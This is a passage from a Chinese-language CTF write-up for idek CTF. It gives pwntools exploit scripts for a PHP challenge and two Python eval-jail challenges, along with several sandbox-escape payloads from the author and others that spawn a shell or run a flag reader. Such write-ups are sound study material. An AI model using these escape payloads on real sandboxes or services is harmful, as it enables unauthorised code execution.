        return ".".join([f"({char_mapping[c]})" for c in code])

    char_mapping = {"s": "'['^'('", "t": "')'^']'", "r": "'['^')'"}

    strstr = f"({basic_encode('strstr')})"
    false = f"{strstr}('','.')"

    nums = {0: f"({false})^({false})"}

    char_mapping["\x02"] = "'.'^','"
    char_mapping["Y"] = char_mapping["\x02"] + "^'['"
    char_mapping["\x1e"] = f"({nums[0]}).''^'.'"
    char_mapping["E"] = char_mapping["\x1e"] + "^'['"
    char_mapping["m"] = f"({nums[0]}).''^']'"
    char_mapping["\x1c"] = f"({nums[0]}).''^','"
    char_mapping["h"] = char_mapping["\x1c"] + f"^({char_mapping['t']})"

    system = f"({basic_encode('sYstEm')})"
    system_sh = f"{system}({basic_encode('sh')})"
    print(system_sh)

    io = remote("phpfun.chal.idek.team", 1337)

    io.sendlineafter(b": ", system_sh.encode())

    io.interactive()


if __name__ == "__main__":
    main()

flag: idek{N3w_v3rs1on_r3qu1re_new_t00lz!}

pyjail (Misc)

Overview

#!/usr/bin/env python3

blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

print('welcome!')

while True:
    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

題目在eval前限制了我們不能使用['.', '\\', '[', ']', '{', '}',':']這些字元,並且將getattr, eval, exec, breakpoint, lambda, help這些函數名稱在eval時的global中設為None

Solution

這題的解法其實很多,我是使用:

setattr(__import__("__main__"), 'blocklist', '')

如此一來在下次evalany([b in cmd for b in blocklist])就永遠為False

於是就能開心的使用.來取得object的attribute了。

exploit:

from pwn import *


def main() -> None:
    io = remote("pyjail.chal.idek.team", 1337)

    io.sendlineafter(b">>> ", b"setattr(__import__('__main__'), 'blocklist', '')")

    io.sendlineafter(b">>> ", b"__import__('os').system('/readflag giveflag')")

    io.interactive()


if __name__ == "__main__":
    main()

flag: idek{9eece9b4de9380bc3a41777a8884c185}

pyjail revenge (Misc)

Overview

#!/usr/bin/env python3

def main():
    blocklist = ['.', '\\', '[', ']', '{', '}',':', "blocklist", "globals", "compile"]
    DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
    DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

    print('welcome!')

    # NO LOOP!

    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

if __name__ == '__main__':
    main()

這題修補了上題的一些unintended solution,多了blocklist, globals, compile這三個字串不能出現在cmd中,並且拿掉了while True:,只能eval一次。

My solution

若是這題有while True:,只需要將我上題的exploit改成:

setattr(__import__("__main__"), 'any', all)

即可繞過any([b in cmd for b in blocklist])的檢查,但問題是這次只eval一次,我們必須想辦法重新call一次main()才能使用如上題一樣的方法。

按照這個方向我在CPython的Github repo裡搜尋了一下,我發現了一個有趣的東西:

Lib/idlelib/idle.py

import os.path
import sys


# Enable running IDLE with idlelib in a non-standard location.
# This was once used to run development versions of IDLE.
# Because PEP 434 declared idle.py a public interface,
# removal should require deprecation.
idlelib_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if idlelib_dir not in sys.path:
    sys.path.insert(0, idlelib_dir)

from idlelib.pyshell import main  # This is subject to change
main()

可以看到idlelib.idle會從idlelib.pyshell import main,並且call main()

所以只要我們能夠將idlelib.pyshell改成__main__ module,__import__('idlelib.idle')就會幫我們再call一次main()了!

但要怎麼用setattr做到這件事呢?

我們可以先將sys.modules改成某一個object的__dict__,這樣我們只要用setattr將那一個object的idlelib.pyshell attribute修改成__import__('__main__')

sys.modules["idlelib.pyshell"]就會被改成__main__ module,於是from idlelib.pyshell import main就會變成from __main__ import main了!

我最終的exploit如下:

from pwn import *


def main() -> None:
    io = remote("pyjail-revenge.chal.idek.team", 1337)

    # __import__('__main__').any = all
    # sys.modules = {'idlelib.pyshell': __import__('__main__')}
    # import idlelib.idle
    # https://github.com/python/cpython/blob/206f05a46b426eb374f724f8e7cd42f2f9643bb8/Lib/idlelib/idle.py#L13-L14
    io.sendlineafter(
        b">>> ",
        b"setattr(__import__('__main__'),'any',all),setattr(copyright,'__dict__',dict(__main__=__import__('__main__'))),setattr(__import__('sys'),'modules',vars(copyright)),setattr(copyright,'idlelib'+chr(46)+'pyshell',__import__('__main__')),__import__('idlelib'+chr(46)+'idle')",
    )

    io.sendlineafter(b">>> ", b"__import__('os').system('/readflag giveflag')")

    io.interactive()


if __name__ == "__main__":
    main()

# idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

Intended solution

作者的intended solution是這樣的:

__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s')))

由於antigravity這個python的彩蛋會試圖用webbrowser.open打開瀏覽器,而webbrowser的瀏覽器會試圖從os.environ裡面找BROWSER這個環境變數去得到開啟瀏覽器的方法,

所以我們可以用setattros.environ改成{'BROWSER': '/bin/sh -c "/readflag giveflag" #%s'},這樣webbrowser.open就會用/bin/sh -c "/readflag giveflag"這個command來打開瀏覽器,也就將flag印出來了!

Ref: 相關的souce code: 1, 2

Other solutions

@maple3142提供了一個他在hsctf學到的一招:

setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()

由於__builtins__不是空的,只要將被改成Nonebreakpointglobals()裡被刪除,這時breakpoint()就會call到__builtins__裡的breakpoint了!

另一個很有趣的解法(By intrigus#9969)

(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/lol" + chr(46) + "py", "w")), __import__("lol"))

因為/dev/shm可寫,所以只要將sys.path加入/dev/shm,並且利用print將想執行的code寫入/dev/shm/lol.py後,直接__import__它就可以執行了!

還有另一個我覺得很酷的解法(By AdnanSlef#6976):

setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')

直接把sys.modules變成__builtins__,這樣就可以直接用__import__access到__builtins__裡面的東西了

Final words

這次的web我拖到最後才做,有點慚愧…,很多明明很簡單的東西我差點就解不出來了,所以這次算是很好的複習到了。

另外這次我覺得最好玩的是pyjail,學到很多我之前沒想過的技巧!

整體來說是一場很好玩的CTF!